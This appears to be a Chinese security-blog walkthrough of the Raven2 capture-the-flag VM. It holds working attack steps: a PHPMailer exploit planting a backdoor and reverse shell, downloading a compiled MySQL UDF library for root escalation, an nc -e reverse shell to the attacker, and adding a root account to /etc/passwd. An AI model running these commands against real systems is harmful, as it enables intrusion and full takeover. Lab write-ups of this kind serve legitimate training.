freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

No.3-红队渗透项目:Raven2
2024-04-17 11:07:22

简介

作者:摇光

时间:2024-04-17

座右铭:路虽远,行则将至,事虽难,做则必成。

请注意:

对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一.信息收集

在VM中获取攻击目标的ip地址,用nmap获取目标主机的ip地址

nmap -sP 192.168.111.0/24

1713277393_661e89d121f83197a9772.png!small

目标主机的IP地址:192.168.111.132

nmap扫描发现目标主机的端口及服务(进行目标主机全端口扫描)

nmap 192.168.111.132 -p-

1713277468_661e8a1c7238a2b33c2f2.png!small

二、web渗透

爆破网站目录,进行枚举

dirb http://192.168.111.132 

1713315098_661f1d1a0c6421d6dbb9c.png!small

枚举后发现http://192.168.111.132/vendor/ 该路径下存在包含的flag文件path

1713315212_661f1d8c2b5a1417d9606.png!small

打开path文件,获得flag1

1713315284_661f1dd4916082963b955.png!small

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

在README.md文件中发现使用了PHPMailer插件

1713315594_661f1f0adc6599e164b36.png!small

VERSION文件中发现其版本为5.2.16

1713315630_661f1f2e1d2a81cda7884.png!small

谷歌搜索:PHPMailer 5.2.16 exp

1713315754_661f1faaca5384d3092ce.png!small

CVE:2016-10033

exp ID:40974

查询 40974

searchsploit 40974

1713315934_661f205ea6fcdc55e6052.png!small

将40974文件拷贝到本地

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/Desktop/

1713316128_661f2120099c0f42905c3.png!small

exp考出后,需要针对PHPMailer修改参数:
41行:改下地址:http://192.168.111.132/contact.php(目标靶机ip)
42行:后门名称:/dayu.php
44行:改下回弹的IP和端口  192.168.111.128 6666(本机ip)
47行:改下写入shell的目录:/var/www/html/dayu.php

1713316454_661f2266e39ba629225bc.png!small

执行exp
python3 40974.py

如果环境报错按照环境安装:
需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。

1713316558_661f22ce1b447ff474ab4.png!small

访问http://192.168.111.132/contact.php,此时就会生成后门文件dayu.php

1713316671_661f233f9a7afa2194cde.png!small

本地开启监听:nc -vlp 6666

1713316713_661f23693f1a751c52922.png!small

访问http://192.168.111.132/dayu.php

1713316744_661f23888565349c91834.png!small

获得反弹shell!

1713316820_661f23d4e0ea2701085b6.png!small

python -c 'import pty; pty.spawn("/bin/bash")'     ---将shell进行tty

1713316993_661f24819bedbdeeb5e25.png!small

找寻flag

find / -name flag*

1713317049_661f24b981d7a5c48a4e6.png!small

1713317098_661f24ea1950ad854e92d.png!small

找到flag路径:

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt

cat /var/www/flag2.txt

1713317181_661f253dc891c35cc9e35.png!small

获得flag2{6a8ed560f0b5358ecf844108048eb337}

浏览器访问

http://192.168.111.132/wordpress/wp-content/uploads/2018/11/flag3.png

1713317271_661f25976bd7b60d24a95.png!small

获得flag3

wordpress目录枚举

flag3路径:/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
在flag3目录下发现了wordpress目录(config文件是最重要的配置文件,先进行枚举)

1713317493_661f267576ce89c0c20ef.png!small

查看关键文件中的关键内容信息
grep "内容" -rn 
grep "password" -rn wp-config.php

1713318345_661f29c933c7e94a54837.png!small

获得mysql账号密码信息

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

登录mysql1713318487_661f2a57474f146e6b165.png!small

查看其系统库和版本

1713318551_661f2a97a3b4e71a965d1.png!small

--select version();查看版本

1713318628_661f2ae4e427c792b9053.png!small

ps aux | grep root   ---查看mysql进程信息,获得数据库是以什么权限去运行的

1713318948_661f2c245e55ed440af14.png!small

发现是以root权限去运行的,那么接下来就找利用mysql提权的方法.

root权限运行满足UDF提权条件一

三、内核提权

mysql UDF 提权
UDF 提权、MOF 提权是非常经典的提权方法!

dpkg -l | grep mysql   --查看历史安装包版本
5.5.6可以进行UDF提权,满足UDF提权条件二

1713319126_661f2cd604817ebdc2b77.png!small

再次登入mysql,收集信息

1713319328_661f2da0e9827ef41f7c1.png!small

1713319351_661f2db750506aa9f29e2.png!small

查看user表

1713319390_661f2dde42b1a1f501527.png!small

获得两个账号和密码(密码加密,无法破解,仍使用UDF进行提权)

查看底层UDF是否能用

首先看一下是否满足写入条件:
show global variables like 'secure%';

1713319836_661f2f9cf1acb7248e03c.png!small

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

查看插件目录:

show variables like '%plugin%';

1713319897_661f2fd99d9c8f75640cc.png!small

查看能否远程登陆,若能远程访问,使用msf的脚本远程访问攻击,若不能远程访问,只能本地访问操作。

use mysql;  --进入mysql库

select user,host from user; --查看哪些ip可以访问mysql

1713319950_661f300e030c5e9aea6e9.png!small

发现只有本地ip可以访问,这里root用户不允许远程登陆,因此不能利用MSF提权。

谷歌搜索:mysql 5.x UDF exploit  或者  searchsploit udf

EXP ID:1518

1713320312_661f317826644dcb4182b.png!small

用法:

1713320355_661f31a344f819782754a.png!small

查询提权脚本1518

searchsploit 1518

1713320553_661f3269a8ad2f69ad542.png!small

拷贝到本地

cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/Desktop/

1713320568_661f32786faf26ffe0c47.png!small

gcc -g -c 1518.c   ---GCC编译.o文件
gcc -g -shared -o dayu.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

1713320671_661f32df475408d4f5918.png!small

开启8081端口的http服务

1713320728_661f33184ef8f9ac6711b.png!small

把dayu.so文件下载到目标主机

wget 192.168.111.128:8081/dayu.so(本地ip)

1713320841_661f33890155ecfaa043d.png!small

进入数据库创建数据表dayu:
create table dayu(line blob);

1713320983_661f3417cc3fa0d983920.png!small

查看数据表dayu

1713321040_661f3450021ca57853d00.png!small

插入数据文件:
insert into dayu values(load_file('/tmp/dayu.so'));

1713321062_661f34660df9a6b8c9270.png!small

dayu表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!

新建存储函数:
select * from dayu into dumpfile '/usr/lib/mysql/plugin/dayu.so';

1713321116_661f349cc40f531b54d9b.png!small

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'dayu.so';

1713321147_661f34bba6fe959f52d85.png!small

查看以下创建的函数:
select * from mysql.func;

1713321175_661f34d70299d13fa5f33.png!small

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');  --chmod u+s赋予其最高权限

1713321241_661f351927180c31d710e.png!small

执行find命令(这里也可以进行一个反弹shell,详细步骤在结尾拓展中)
使用find执行 shell

touch dayu --目标主机创建dayu文件

1713321460_661f35f47571d6fbe42c0.png!small
find dayu -exec "/bin/sh" \;          --获得一个root的id

1713321535_661f363f62886ceac2110.png!small

切换到root权限,查看获得flag4

1713321608_661f368897f5aa77475b1.png!small

flag4{df2bc5e951d91581467bb9a2a8ff4425}

拓展:

1.用反弹shell来获取flag4

本机中打开6677端口的监听

nc -vlp 6677

mysql中执行命令

select do_system('nc -nv 192.168.111.128 6677 -e /bin/bash');

1713325198_661f448e576bd1d002e2b.png!small

本机会获得一个反弹shell,再执行find命令获得flag

2.使用stty命令,让伪shell界面更加稳定,其包含历史命令,使用更方便

仅限/bin/bash模式:
python -c 'import pty;pty.spawn("/bin/bash")'
Ctl z
stty raw -echo
fg

3.如果可以远程,msf远程攻击提权步骤

mysql_udf_payload
sqlmap -d "mysql://root:root@192.168.245.130:3306/mysql" --os-shell

4.写入root用户

openssl passwd dayu
YpIR51FecR9AY
select do_system('echo "dayu:xFzxgAbLwwOOA:0:0:root:/root:/bin/bash" >> /etc/passwd');
su dayu


# 渗透测试 # web安全 # 内网渗透 # CTF # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录